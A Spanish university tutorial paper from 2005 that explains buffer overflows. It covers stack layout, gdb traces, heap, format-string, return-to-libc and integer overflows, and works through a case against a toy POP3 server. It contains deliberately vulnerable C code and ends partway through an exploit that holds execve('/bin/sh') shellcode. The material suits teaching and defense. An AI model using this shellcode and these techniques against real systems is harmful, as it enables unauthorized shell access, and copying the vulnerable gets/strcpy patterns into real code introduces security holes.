

Buffer Overflows

Álvaro Navarro Clemente
anavarro@gsync.esct.urjc.es
Universidad Rey Juan Carlos, Móstoles, España

Junio del 2005

Resumen

Con el paso de los años, el crecimiento y auge de las redes y los ordenadores de uso común, la seguridad informática se ha convertido en una de las piezas angulares de la llamada sociedad de la información. El uso de programas en esas máquinas implica el compromiso por parte del programador a la hora de programar software de forma segura. Uno de los errores más comunes a la hora de programar algún tipo de software son los producidos por la copia de una cantidad de datos sobre un área más pequeña, sobrescribiendo así las zonas de memoria y permitiendo alterar el flujo original del programa. Dicho error se denomina desbordamiento de buffer. Si además el programa que tiene el error posee privilegios especiales se convierte además en un fallo de seguridad.

1. Introducción

Estimar una definición universal para el concepto de seguridad informática se nos antoja bastante difícil. La dificultad radica en la naturaleza tan relativa que hacen de la seguridad un término heterogéneo dependiendo del punto de vista del que se mire. Atendiendo a la *wikipedia* podemos definir seguridad informática como todos los mecanismos y métodos para asegurar la integridad, confidencialidad y accesibilidad (C.I.A) de un conjunto de datos. Dichos datos deben ser protegidos de algún daño durante su tratamiento normal, y los procesos habituales debe ser conservadores con los datos sin destruir la información, salvo cuando ésta sea su misión expresa.

Por tanto si queremos tener una seguridad más o menos eficiente en un sistema, debemos asegurarnos que se deben cumplir las tres premisas anteriormente citadas (C.I.A) intentado tener el sistema libre de **amenazas**. Pero, ¿Qué tipo de amenazas? El siguiente apartado recoge una serie de amenazas típicas, las cuales pueden aprovechar las **vulnerabilidades**, deficiencias o errores, que tengamos en nuestro sistema para que, mediante un **ataque** consigan poner en riesgo nuestro sistema.

1.1. Amenazas en un sistema

Partiendo de la base que nuestro soporte informático es fiable, esto es, que no tiene ningún fallo mecánico y/o físico, podemos establecer unas categorías atendiendo a la naturaleza de la amenaza:

- Intervención humana: es quizás el mayor peligro para aprovechar algún punto vulnerable en nuestro sistema. Dichos **atacantes** se pueden clasificar en dos grupos: los fortuitos, sin premeditación ninguna, y los intencionados.
- Naturales: no sólo tenemos que prestar atención a posibles intervenciones por parte de una persona. De nada nos sirve tener el sistema más seguro frente a posibles atacantes, si hay una subida de tensión en el edificio y quema nuestras máquinas.

El objetivo del presente artículo se centra en los **ataques** de carácter informático realizados por atacantes de forma intencionada. Ahora bien, dichos atacantes no siempre tienen las mismas intenciones y/o conocimientos. Brevemente, podemos clasificar en:

- *Cracker*: es aquella persona que se dedica a romper y violar la seguridad de un sistema informático ya sean programas informáticos (cracks de software) como sistemas físicos (servidores).
- *Script Kiddie*: Todo aquel que, sin tener suficientes conocimientos, hace uso herramientas que permiten romper algún tipo de soporte informático.
- *Lammer*: Similar al Script Kiddie a diferencia que sólo presumen y no actúan.
- *Phreaker*: es aquella persona que interfiere en los sistemas telefónicos de forma ilegal.
- Otros: como personas curiosas o ex-empleados de una empresa.

Es muy importante no confundir las definiciones de *cracker* y *hacker*. Un *hacker* es una persona con amplios conocimientos en el campo de la informática y las telecomunicaciones y que no dedica su tiempo a romper sistemas, sino a investigar, descubrir y aprender nuevas cosas. La figura del hacker llevada al campo de la seguridad informática corresponde con la persona que busca defectos y puertas traseras intentando así mejorar la seguridad del software previniendo posibles vulnerabilidades en el futuro. Por contra, el cracker, que muy probablemente también tenga conocimientos amplios, dedica su tiempo a investigar, descubrir y romper algún tipo de sistema informático. Por tanto lo correcto sería considerar al cracker como una evolución maliciosa de un hacker. De hecho, es interesante echar un vistazo a la *ética hacker* para darse cuenta de las intenciones. A continuación se muestran algún fragmento:

- El acceso a ordenadores y a cualquier cosa que pudiera enseñarte algo, debería ser ilimitado.
- Básate siempre en el imperativo de la práctica
- Toda información debería ser libre.
- Se puede crear arte en un ordenador
- Los ordenadores pueden cambiar tu vida a mejor

Por tanto, una vez conocido el peligro, deberíamos conocer los posibles ataques así como las posibles contramedidas para solventar el problema antes y después de producirse.

1.2. Vulnerabilidades, ataques y contramedidas

Hasta ahora tan sólo hemos hablado de atacantes. Sabemos que nuestro sistema puede tener vulnerabilidades, pero que por sí mismas no comprometen nuestro sistema. Necesitamos un ataque que utilizando dicha vulnerabilidad pogan en compromiso nuestro sistema.

Es por ello que al hablar de seguridad informática se relaciones los concetos de la forma **vulnerabilidad - ataque - contramedida**

Las vulnerabilidades más comunes son las producidas por el uso de software incorrecto. Estos fallos pueden ser aprovechados tanto local como remotamente aumentando así el peligro inherente.

Entre la lista de las vulnerabilidades basadas en software incorrecto destacan:

1. Error de validación de entrada. Se produce cuando la entrada que procesa un sistema no es comprobada adecuadamente. Dentro de este tipo encontramos tres subcategorías:
 - Desbordamiento de límites: ocurre cuando la entrada recibida hace que exceda los límites de funcionamiento normal y produzca un error. Por ejemplo, el sistema se queda sin memoria, sin espacio en disco o colpsa la red.
 - Desbordamiento de buffer: Se produce cuando la entrada de un sistema es mayor que el área de memoria asignada para contenerla (buffer) y el sistema no lo comprueba adecuadamente.
 - Secuencia de comandos en sitios cruzados (cross-site-scripting). Se abrevia XSS y es aplicable a sitios web con contenido dinámico. Consiste en ejecutar código de un dominio en otro dominio, de forma que se perjudica a otro usuario y no al servidor directamente.
2. Error en validación de acceso: se produce cuando el sistema de validación de acceso a un determinado sitio es defectuosa.
3. Error de condición excepcional: Es producida cuando el sistema se vuelve vulnerable al producirse una condición de funcionamiento no habitual.
4. Error de entorno: Una vulnerabilidad se caracteriza de esta manera si el entorno en el que un sistema está instalado de alguna manera hace al sistema vulnerable.
5. Error de condición de carrera: Se produce cuando la no atomicidad de una comprobación de seguridad causa la existencia de una vulnerabilidad.
6. Error de configuración: Si la configuración controlable por parte del sistema es tal que hace al sistema vulnerable. La vulnerabilidad no es debida al diseño del sistema si no a cómo el usuario final configura el sistema.
7. Error de diseño: Se caracteriza cuando la implementación y la configuración son correctas y no lo es el diseño.

8. Otros: aquí se engloban todas las vulnerabilidades que no se engloban en los apartados anteriores.

Además de estas vulnerabilidades podemos destacar las amenazas que suponen las diferentes herramientas de seguridad que usan los administradores de red para comprobar la seguridad de sus sistemas. Dichas herramientas son un arma de doble filo ya que pueden ser utilizadas por cualquier atacante para poner en compromiso nuestro sistema. Además también deberíamos tener especial cuidado por software malicioso escrito por terceras personas, ya sean *troyanos*, virus, *backdoor* o *rootkits*.

Si nos centramos en las vulnerabilidades basadas en software escrito de forma incorrecta, los ataques más comunes hoy en día son:

- Ejecución de código arbitrario: permite ejecutar cualquier código en la máquina objetivo. Desde ejecutar otro programa hasta compilar
- Escala de privilegios. Permite obtener una cuenta con otro usuario con el que a priori no estamos autorizados a entrar al sistema. Lo más común es obtener la cuenta de administrador de la máquina.
- Denial of Service. El objetivo de este ataque es dejar fuera de servicio la máquina objetivo. Si el ataque se produce entre varias máquinas hacia un único objetivo, se dice que es un *Distributed Denial of Servicio*
- Inyección de código. Mediante este ataque es posible inyectar código en un determinado lugar, como por ejemplo una conexión de red.
- Spoofing. Permite ocultar o falsear información o datos en un determinado contexto.

Como ya hemos dicho, las vulnerabilidades por sí solas no son dañinas. Necesitamos un programa que explote ese agujero de seguridad para y que produzca el ataque. El programa que explota una vulnerabilidad se llama *exploit*.

Por tanto, a lo largo del presente artículo estudiaremos diversas vulnerabilidades basadas en desbordamiento de buffer, los ataques que pueden originarse con ellos así como las contramedidas que debemos tener en cuenta para evitar futuros problemas.

2. Antecedentes históricos de ataques basados en buffer overflows

Hasta finales de los años 80 muy poca gente se tomaba en serio el tema de la seguridad en términos de informática casera. El incremento del ordenador personal como un utilitario dentro de casa, el crecimiento de las redes de ordenadores (Internet estaba fase de consolidación) así como, por qué no, la aparición de elementos menos técnicos (recordemos el furor por la película *Juegos de Guerra* en 1983), fueron elementos determinantes en la aparición de la figura del *hacker* así como toda la cultura *underground* que siempre le rodea.

Centrándonos en los ataques basados en desbordamiento de buffer, la historia comienza por el año 1988, cuando Robert. T. Morris desarrolló el primer gusano o *worm* en autopropagarse por Internet utilizando un fallo de buffer overflow en el demonio *fingered* que poseían todos los UNIX de la época. Miles de ordenadores conectados a Internet fueron infectados quedando totalmente inutilizados.

Ataques como estos, unido además a las millonarias pérdidas de dinero, hicieron que la seguridad informática comenzara a tomarse en serio. Con el paso de los años los ataques a grandes corporaciones y ordenadores gubernamentales provocó la creación de diferentes centros orientados a la seguridad (CERT). El siguiente gráfico muestra la evolución de ataques basados en desbordamientos a lo largo de los últimos años.

Figura 1: Ataques basados en buffer overflows en la última década

Más tarde, en 1995 Thomas Lopatic, hizo grandes adelantos en el mundo de los *buffer overflows* publicando sus progresos en la famosa lista de correo de *Bugtraq* lo que provocó una nueva oleada de vulnerabilidades a revisar y tratar en todo el software escrito. Más tarde, en 1996, Aleph One publicó en la prestigiosa y extinguida revista electrónica *Phrack* el que está considerado el primer artículo sobre cómo aprovechar desbordamientos malintencionados, *Smashing the Stack for Fun and Profit*.

Posteriormente, en el año 2001, apareció un nuevo gusano, de nombre *Code Red* que, aprovechando una vulnerabilidad de desbordamiento de buffer en el servidor web IIS de Microsoft, provocó el compromiso de miles de máquinas al mandar paquetes especialmente creados que provocaban el acceso en modo Administrador al sistema. Dos años después, en el año 2003, otro famoso gusano de nombre *SQLSlammer*, permitía la ejecución de código arbitrario en servidores SQL Server 2000.

Hoy en día, pese a que no proliferan gusanos tan famosos como *Code Red* y *SQLSlammer*,

los ataques basados en desbordamiento de buffer siguen siendo una clara amenaza para cualquier sistema que se precie.

3. Introducción a los buffer overflows

Como hemos visto, las vulnerabilidades basadas en buffer overflows se basan en el uso incorrecto de ciertas funciones por parte del programador. Así pues, para poder explotar estas vulnerabilidades necesitamos unos mínimos conocimientos de cómo opera el sistema a la hora de ejecutar nuestro código. Es importante mencionar que la arquitectura sobre la que realizamos todo el estudio es x86.

3.1. Conocimientos básicos

El sistema operativo asigna a cada programa ejecutado un fragmento de memoria. Este fragmento se compone de varios segmentos:

- Un segmento de código donde estará alojado el código de nuestro programa.
- Otro segmento de datos donde se almacenan las variables globales.
- Un último segmento denominado pila (o stack) donde se almacenan valores temporales.

El siguiente esquema representa los segmentos necesarios en todo proceso así como las direcciones de memoria que se asignan a cada uno de ellos.

Figura 2: Espacio de memoria en un proceso

El segmento que nos interesa es la pila. Dicha pila no es más que una estructura que posee un comportamiento FIFO (*first in first out*, es decir, que cuando insertemos algún elemento se colocará en su cima y cuando queramos realizar alguna extracción, se hará también desde la cima). En la práctica nuestros programas utilizarán dicha estructura para almacenar variables locales y argumentos de funciones.

Las direcciones en la pila crecen de forma descendente, es decir, que las direcciones de memoria más altas estarán en la parte inferior de la pila. Es importante que el programa que está utilizando la pila conozca dos direcciones de especial relevancia:

- La dirección de la cima de la pila. Necesario para saber donde colocar el próximo elemento. Esta dirección se almacena en el registro `%esp`
- La dirección del inicio de la zona que contiene las variables de la función que estamos ejecutando actualmente. Dicha dirección se denomina *puntero de marco de pila* y se almacena en el registro `%ebp`

3.2. Comportamiento de la Pila

Para ver el comportamiento de la pila usaremos el siguiente sencillo programa de prueba:

```
void fn(int arg1, int arg2){
    int x;
    int y;
    x=3;
    y=4;
    printf("Estamos dentro de la funcion\n");
}

void main(int argc, char**argv){
    int a;
    int b;
    a=1;
    b=2;
    fn(a,b);
}
```

Antes de llamar a la función *fn* nuestra pila contendría tan sólo las variables locales *int a*, *int b* correspondientes a la función *main()*.

El puntero de marco apunta al inicio de la zona ocupada por las variables locales de la función *main()* y la cima indica el límite de esta zona (parte inferior del esquema). Ambas direcciones están representadas por las fechas azul y roja de la figura, respectivamente.

En el momento en el que llamamos a la función *fn(a,b)* se introducen en la pila los argumentos de dicha función. (a y b).

A continuación se inserta la dirección de memoria a la que tiene que volver una vez haya finalizado la función *fn()*. Esta dirección corresponde a la de la instrucción de *main()* inmediatamente posterior a la llamada *fn(a,b)*. Además el puntero de la cima avanza apuntando al nuevo elemento.

Una vez realizado el salto, se introduce en la pila el valor actual de inicio de marco y además, la cima actual se convierte en el nuevo puntero de marco (es decir, el lugar a partir del cual se encontrarán las variables locales de *fn()*).

Por último, se insertan en la pila las variables locales de la función *fn()* y la ejecución continúa hasta que la función termine. Una vez finalizada, haciendo uso de las direcciones de retorno almacenadas sabemos cómo regresar a la función inicial *main()*.

Una vez asentados los conocimientos sobre cómo funciona la pila y lo más importante: dónde almacena las direcciones de retorno de las funciones, pasaremos a describir cómo podemos aprovechar este mecanismo para que, en vez de retornar a la función padre, retornemos a una función que nosotros deseemos.

3.3. Jugando con Buffers

Un buffer no es más una zona de memoria limitada cuyo contenido está alojado de forma contigua. Uno de los *buffers* más comunes en el lenguaje de programación C está representado por un *array*. Este *array* posee una cantidad máxima de datos que puede almacenar. Puede darse el caso que escribamos en un buffer más cantidad de datos de la que puede albergar. Veamos un ejemplo:

```
void main(int argc, char**argv){
    int array[5]
    int i;

    for (i = 0; i <= 255; ++i)
        array[i] = 10;
}
```

Probemos ahora a compilar y ejecutar este programa.

```
[anavarro@localhost]$ gcc buffer2.c
[anavarro@localhost]$ ./a.out
Segmentation fault (core dumped)
[anavarro@localhost]$
```

Como se puede ver, el programa compila sin ningún error ni *warning* y sin embargo al ser ejecutado no funciona. Como sabemos por experiencia, cuando creamos un *buffer* que pueda tener un peligro de desbordamiento y no funciona como esperamos (como en este caso), como programadores podemos volver al código y solventar el problema. Pero, ¿Qué ocurre si lo que copiamos en un *buffer* proviene de la entrada que ha escrito un usuario?. Si el programa tiene un fallo de diseño de estas características, podemos esperar que un usuario malintencionado provoque el desbordamiento.

3.4. Buffers en la Pila

La posibilidad de desbordamiento de un *buffer* es más común de lo que a priori podríamos pensar. No hay más que echar un vistazo a las funciones en C que trabajan con cadenas de caracteres (por supuesto siguen siendo buffers) como *strcpy* o *gets*, las cuales no comprueban en ningún

momento el tamaño del buffer origen. Veamos un ejemplo de un programa vulnerable y el efecto que produce esta vulnerabilidad en nuestra pila.

```
void fn(char *a){
    char buf[10]
    strcpy(buf,a);
    printf("fin de la funcion\n");
}

void main(int argc, char*argv[]){
    fn(argv[1]);
    printf("fin\n");
}
```

Comencemos compilando el programa con las informaciones para el depurador:

```
$ gcc stack_1.c -o stack_1 -ggdb
```

Ahora tratemos de provocar un error de manera controlada. Para ello, después de lanzar el depurador y poner el punto de ruptura en la tercera línea del programa (o sea, en la línea crítica `strcpy(buf, a);`) arrancamos el programa, dándole como argumento una serie de 30 letras A.

```
(gdb) run \  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

El programa se detiene en el punto de ruptura, es decir, en la tercera línea. Verifiquemos cuál es la dirección de el array `buf[]`:

```
(gdb) print &buf  
$1 = (char (*) [10]) 0xbffff9e0
```

y la dirección de vuelta de la función:

```
(gdb) print $ebp+4  
$2 = (void *) 0xbffff9fc
```

Vemos que el inicio del array y la dirección de vuelta de la función están separados por sólo 28 bytes. De manera que no es de extrañar que, al colocar allí una secuencia de 30 caracteres, el final de ésta se solape con la dirección de vuelta de la función. Verifiquemos si en realidad es así: veamos cuál es la dirección de vuelta de la función antes de copiar el elemento a al array `buf`:

```
(gdb) x 0xbffff9fc  
0xbffff9fc: 0x080483da
```

Ahora ordenemos al depurador ejecutar la siguiente línea de código (que coloca en el array una secuencia de 30 caracteres):

```
(gdb) next
```

Veamos cuál es ahora la dirección de vuelta de la función:

```
(gdb) x $ebp+4  
0xbffff9fc: 0x08004141
```

Podemos ver que los 2 bytes menos significativos de la dirección han sido reemplazados por el valor 0x4141. En hexadecimal, 0x41 equivale (como podemos comprobar en *man ascii*) a la letra A. La conclusión a la que llegamos es clara: si pasamos al programa una cadena de caracteres demasiado grande podemos alterar la dirección de retorno a la función. Así pues, una cadena alfanumérica lo suficiente inteligentemente construida podría modificar esta dirección de tal manera que, terminada la función, el control pase a cualquier punto de la memoria que elijamos. Esta dirección puede muy bien ser la de un fragmento de código colocado por nosotros mismos en la memoria. Este código podría hacer algo que nunca haría voluntariamente el administrador del sistema atacado: concedernos privilegios de root o abrir una shell en uno de los puertos. Para poder colocarlo en la memoria, el código debe formar parte de la secuencia que entregamos como argumento al programa.

Nuestro código debe componerse de dos partes:

- Una que contenga el código (en lenguaje de máquina) que nos permitirá realizar algún objetivo malicioso (es lo que se llama un **shellcode**).
- La segunda parte contiene la dirección de la primera y modifica la dirección de vuelta de la función, de manera que cuando se termine la función atacada se ejecute el código maligno de la primera parte.

3.5. Problemas: dirección de retorno y truco del NOP

En primer lugar: ¿de dónde podemos sacar un buen shellcode? Debe ser breve (para que quepa en el buffer) y no puede contener bytes cero (en caso contrario no podríamos colocarlo dentro de la secuencia ya que el byte cero sería interpretado como terminador de la cadena. A pesar de las apariencias, escribir un shellcode no es nada difícil, existen varias publicaciones que enseñan a crear shellcodes para diferentes sistemas operativos y están disponibles en la Red, e incluso existen herramientas para la construcción de shellcodes como es el caso de *scbuilder*.

Además de eso ¿Cuál debe ser la longitud de la secuencia para que ésta modifique la dirección de vuelta de la función? Solucionaremos este problema de manera experimental, es decir, ejecutaremos repetidamente el programa vulnerable dándole como argumento una secuencia cada vez más larga. Tomaremos nota de cuál es la longitud que produce la violación de segmento, y para nuestro ataque utilizaremos una secuencia un poco más larga, por si acaso. Al escribir encima del fragmento de la pila localizado después de la dirección de vuelta, destruiremos los valores de algunas de las variables locales de la función que ha llamado a la nuestra (no importa, igual no planeamos regresar a ella).

Figura 3: Captura de pantalla de la herramienta *scbuilder*

¿Cómo podemos saber cual será la dirección en la que el programa vulnerable colocará la secuencia que le entreguemos? Por una parte, trataremos de ejecutar el programa vulnerable dentro del depurador, verificando en qué lugar de la memoria fue colocado nuestro argumento; al principio de la secuencia que estamos construyendo, antes del shellcode colocaremos una serie de comandos `nop` que no hacen nada. Gracias a ello, incluso si no caemos exactamente al inicio del shellcode, no pasará nada, a lo sumo saltaremos unas cuantas `nop`, después lo cual se ejecutará el shellcode. Aquí una pequeña observación: la distancia entre el inicio del array `buf[]` y la dirección de retorno de la función no cambiará si ejecutamos el mismo programa en otro ordenador.

En principio bastaría con colocar la dirección repetida sólo una vez en la secuencia que suministramos al programa agujereado, pero la longitud de la secuencia la debemos ajustar de forma que llegue directamente a dónde queremos que llegue. Sin embargo, en la práctica es mejor que el bloque de `nop` tenga el tamaño mayor que cuatro bytes. Observemos que si el shellcode acumula en la pila algunos valores, éstos pueden sobrescribir el final de la secuencia suministrada por nosotros. Si no hay allí un bloque de `nop` suficientemente largo, podemos estropear el shellcode.

4. Tipos: format string, non-stack overflows, return2libc

Aunque los ataques basados en desbordamientos en pila son los más comunes (son los que hemos tratado hasta ahora), existen otros tipos de ataques basados también en el desbordamiento.

4.1. heaps overflows

Esta variedad de bugs está siendo explotada tan comúnmente en todas sus variantes como cualquier otra. Muchos programadores ponen especial cuidado en el tratamiento de datos que se mantienen en el stack pero descuidan otros datos que se encuentran en regiones de memoria igualmente propensas a sufrir ataques de buffer overflow.

Si nos fijamos en el esquema de memoria de un proceso, vemos como el segmento de pila está dividido en dos zonas:

- **heap**, una region de memoria que es inicializada dinamicamente por el programa. Esta region es la utilizada por malloc() para inicializar memoria dinamicamente en tiempo de ejecucion, en ella se encontrarán los llamados chunks de memoria. Esta región crece en sentido normal, es decir, de direcciones de memoria bajas a altas, por lo que va a crecer hacia el stack.
- Posteriormente se encuentra el stack en si mismo, que contiene todas aquellas variables de ambito local, no estáticas, tanto inicializadas como no inicializadas, en el caso de los datos dinamicos, solo se encuentra en la pila el puntero que contiene la direccion de la region de memoria reservada (en el heap) devuelta por una llamada a malloc().

El siguiente esquema representa tanto el *heap* como el *stack*

Figura 4: Crecimiento del *heap* y de la pila

Al igual que la forma en que crece el stack influye en un stack overflow, la forma en que crece el heap influirá en un posible heap overflow, así pues el orden de las variables en el código tendrá gran influencia en la aparición de un posible ataque. La explotación de este tipo de bugs es sencilla sólo que deben darse una serie de circunstancias para que sea posible.

Este trozo de código contiene un simple heap buffer overflow:

```
int main(int argc, char **argv)
{
    static char buf1[10], buf2[10];
    memset(buf2, 'A', 10);
    memset(buf1, '-', 10+2);
    printf("Buf2[%s]\n", buf2);
    return (0);
}
```

```
[anavarro@localhost]:~$ ./a.out
Buf2[--AAAAAAA]
```

Como se puede observar, no se respetan los límites del segundo buffer y se sobrescriben sus primeros dos bytes con los datos del primer buffer.

En los stack overflows, la meta principal es la de modificar la dirección de retorno de la función que contiene el buffer que sera explotado, a fin de modificar el flujo de ejecución del programa, ya sea hacia un shellcode o hacia otro lado (depende de la técnica usada).

En un heap overflow la situación es distinta y para modificar el flujo de ejecución del programa tendremos que usar otros metodos:

- Sobreescritura de apuntadores de funciones. Requiere un orden estricto en la declaración de variables por lo que es difícil que se produzca esta condición.
- Sobreescritura de Vtables. Explotando el mecanismo dinámico de las llamadas a funciones virtuales de una clase propias de C++. La condición que se debe dar para explotar este tipo de vulnerabilidades es la declaración de un buffer y una función virtual dentro de la clase a explotar
- Explotación de librerías malloc.

4.2. Format string overflow

Emplea una técnica reciente (aproximadamente de 1999), pero explota una vulnerabilidad que existían desde hace años. Esta vulnerabilidad explota la posibilidad de poder pasar directamente a una función *printf* un parámetro no parseado: *printf(input)*. Las funciones que pueden ser vulnerables a este tipo de ataques son:

- *fprintf* - prints to a FILE stream
- *printf* - prints to the 'stdout' stream
- *sprintf* - prints into a string
- *snprintf* - prints into a string with length checking
- *vfprintf* - print to a FILE stream from a va arg structure
- *vprintf* - prints to 'stdout' from a va arg structure
- *vsprintf* - prints to a string from a va arg structure
- *vsnprintf* - prints to a string with length checking from a va arg structure

Veamos un ejemplo que podría desencadenar alguna situación de peligro:

```
int funcion(void){
char buffer[1024];
fgets(buffer,1000,stdin);
printf(buffer);
}
```

En este ejemplo leemos de la entrada estandar y el resultado será imprimido por pantalla. La vulnerabilidad reside en el hecho de usar `printf` de esa forma, deberíamos usar `printf("%s",buffer)`. Si en este ejemplo introducimos `hola %u mundo`, estaremos provocando que `%u` sea sustituido por los 32 primeros bits de la pila (stack). Con esta técnica podemos leer todo el contenido de la pila y situar ESP en la posición que queramos.

4.3. Pilas no ejecutables: return into libc

Puesto que los programas no necesitan tener código ejecutable en ella, ¿qué necesidad hay que se pueda ejecutar lo que se almacena en la pila? Si marcamos la pila como zona de memoria no ejecutable, cualquier intento de ejecutar código allí localizado fallará, y por tanto, los métodos clásicos de explotación de un desbordamiento de buffer quedan inservibles. Así, tenemos que echar mano de otras técnicas un poco más complicadas, que nos permitirán conseguir acceso al sistema.

Llamamos con `libc` a la librería estándar de nuestro sistema operativo, que nos provee de funciones como `printf`, `system`, las llamadas al sistema, etcétera. Como se puede ver, la librería `libc` nos provee de una gran cantidad de funciones para un gran número de usos. Sockets, IPC, manejo de procesos y distintos hilos de ejecución del programa...

Cuando nos encontramos ante un sistema con la pila no ejecutable, no podemos almacenar nuestro código en la pila para luego hacer saltar el flujo del programa atacado al principio de dicho código. Sin embargo, las funciones de la librería `libc` se encuentran en memoria, esperando a ser llamadas por los programas de los usuarios. Vamos a tratar de localizarlas y aprovecharnos de ellas para hacer que el programa atacado haga lo que nosotros queramos, dentro de las posibilidades que nos brinda `libc`.

Veamos el siguiente programa que nos servirá de base para localizar las funciones alojadas en la librería `libc`:

```
#include <stdio.h>

int main(){
system();
return 0;
}
```

Cuando necesitemos localizar alguna función de `libc` en memoria, simplemente modificaremos este código añadiendo una llamada a dicha función, y procederemos de la misma forma que haremos ahora con la función `system`. Algunas veces deberemos añadir algún parámetro a la función, puesto que si no lo hacemos no podremos compilar el programa y por tanto no podremos localizarla.

Compilaremos el código `libc.c` y lo ejecutaremos el depurador para tratar de localizar la dirección de la función `system()`:

```
anavarro@localhost:~$ gcc libc.c -o libc -g
anavarro@localhost:~$ gdb libc
```

```

(gdb) break main
Breakpoint 1 at 0x8048394: file libc.c, line 4.
(gdb) run
Starting program: /home/anavarro/libc
Breakpoint 1, main () at libc.c:4
4 system();
(gdb)p system
$1 = {<text variable, no debug info>} 0x400618a0 <system>
(gdb)

```

En este caso, vemos que la llamada `system` está en la dirección de memoria `0x400618a0`, con lo que ya podemos utilizarla en nuestros ataques. Lo que tenemos que conseguir es redirigir la ejecución del programa vulnerable hacia la función `system` de `libc`. Esta función lo que hace es ejecutar el programa que se le pasa como argumento, con lo que si queremos una shell, podemos ejecutar `system(/bin/sh)` para conseguirla. Para ello, debemos preparar los datos a introducir en nuestro buffer de una manera especial. Como ya dijimos, cuando llamamos a una función, se debe almacenar en la pila la dirección de retorno, pero también los argumentos de dicha función.

Por tanto, en nuestro caso, deberemos poner en primer lugar, `0x400618a0`. Seguidamente, pondremos la dirección de retorno. En realidad nos da igual, pues nuestro objetivo es simplemente obtener una shell, con lo que si se ejecuta la llamada a `system()`, la vuelta de esta función no nos importa demasiado. Pondremos cualquier cosa, por ejemplo `HOLA`. Justo detrás de nuestro `'HOLA'`, deberemos poner el argumento de `system()`, es decir, la cadena `/bin/sh`. En realidad, la función recibe la dirección de memoria de la cadena, así que deberemos almacenarla en memoria. ¿Dónde? Pues en una variable de entorno, que ya sabemos como usar y como localizar su dirección en memoria.

4.4. Integer overflow

Un desbordamiento de entero (`integer overflow`), se produce cuando una variable definida como entera, sobrepasa los valores asignados. Este tipo de fallos son difíciles de explotar y en muchos casos imposible. Sin embargo muchas veces provocaran un funcionamiento incorrecto del programa afectado. Básicamente, estos errores son consecuencia de la poca comprobación y suposiciones erróneas de los programadores en la conversión entre diferentes tipos y operaciones aritméticas.

5. Caso práctico

A continuación desarrollaremos un caso práctico de desbordamiento de buffer en una aplicación común. Además implementaremos un pequeño *exploit* que permita aprovechar esa vulnerabilidad para, por ejemplo, obtener una *shell* remota.

5.1. Programa objetivo

Imaginemos que tenemos un servidor de correo (algo muy habitual hoy en día) escuchando peticiones de usuarios mediante el protocolo *pop3*. Los usuarios se autenticarán contra el sistema con el fin de poder descargar su correo y leerlo en su cliente favorito (evolution, mutt, outlook...). Así pues, una de las etapas de dicho servidor será recoger el nombre de usuario y password para comprobar que ese usuario existe en el sistema y proporcionarle acceso a sus correos. El código de esta parte podría ser algo del tipo:

```
int
main(void) {
    char line[100];

    gets(line);
    if (!strncmp(line, "USER ", 5)) {
        printf("User is \"%s\"\n", line+5);
    } else {
        printf("No USER specified\n");
    }
    return 0;
}
```

En este caso, obtenemos el nombre de usuario mediante la peligrosa función *gets()*. El incauto programador no repara en el detalle de comprobar la longitud de la cadena de entrada ya que está seguro que será el programa cliente quien establezca la conexión y pasará el nombre de usuario sin maldad alguna. Aunque en principio podría ser así, nada nos impide establecer una conexión a mano mediante telnet y pasar una cadena de cualquier longitud.

```
anavarro@localhost:~/servidor$ ./pop3
USER anavarro
User is "anavarro"

anavarro@localhost:~/servidor$ ./pop3
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (...) AAAAAAAAAAAAAAAAAAAAAAAAAA
User is "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (...) AAAAAAAAAAAAAAAAAAAAAAAAAA"
Violación de segmento
```

Como vemos, se produce una violación de segmento (o *stack overflow*) ya que la cadena introducida excede de los 100 caracteres del buffer. Haciendo uso del depurador *gdb* podemos obtener información interesante como por ejemplo las direcciones del registro *%esp* así como dónde se almacena la dirección de salto de la función.

```
$ gdb pop3
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
```

welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.

```
(gdb) break 8
Breakpoint 1 at 0x8048378: file stack_2.c, line 5.
(gdb) run
Starting program: /home/anavarro/servidor/pop3
Breakpoint 1, main () at pop3.c:8
8      gets(line);
(gdb) step
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (...) AAAAAAAAAAAAAAAAAAAAA
(gdb) print &line
$2 = (char (*)[100]) 0xbffffa10
(gdb) print $ebp+4
$3 = (void *) 0xbffffa8c
(gdb) print $esp
$4 = (void *) 0xbffffa00
(gdb) x/24 $esp
0xbffffa00: 0xbffffa10      0xbffffa44      0x40017028      0x00000001
0xbffffa10: 0x52455355      0x41414120      0x41414141      0x41414141
0xbffffa20: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa30: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa40: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa50: 0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
```

Como vemos en la traza anterior hemos vuelto a ejecutar el programa desde el depurador pero colocando un punto de interrupción en la línea 8 (*gets(line)*), una vez pasada esa línea y obtenido el nombre de usuario (150 'A') podemos ver en qué direcciones de memoria está apuntando la cima de la pila (0xbffffa00) así como el comienzo del buffer (0xbffffa10). Por último podemos obtener información interesante sobre dónde está la dirección de vuelta de la función (0xbffffa00). Si vemos el contenido del rango de direcciones desde el inicio del array hasta la dirección de vuelta de la función, el contenido son todo 'A' (0x41), así nuestro objetivo será colocar la mitad del buffer lleno de instrucciones NOPs y la otra mitad hasta el inicio del marco de pila, lleno de direcciones de retorno de función.

El siguiente exploit pretende obtener una cuenta *shell* en la máquina objetivo que esté ejecutando el programa anterior.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>

#define BUFFERSIZE 150 /* buffer origen + 50 bytes */
```

```

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";

/* funcion que devuelve el valor del puntero de pila */
unsigned long
sp(void) {
    __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]) {
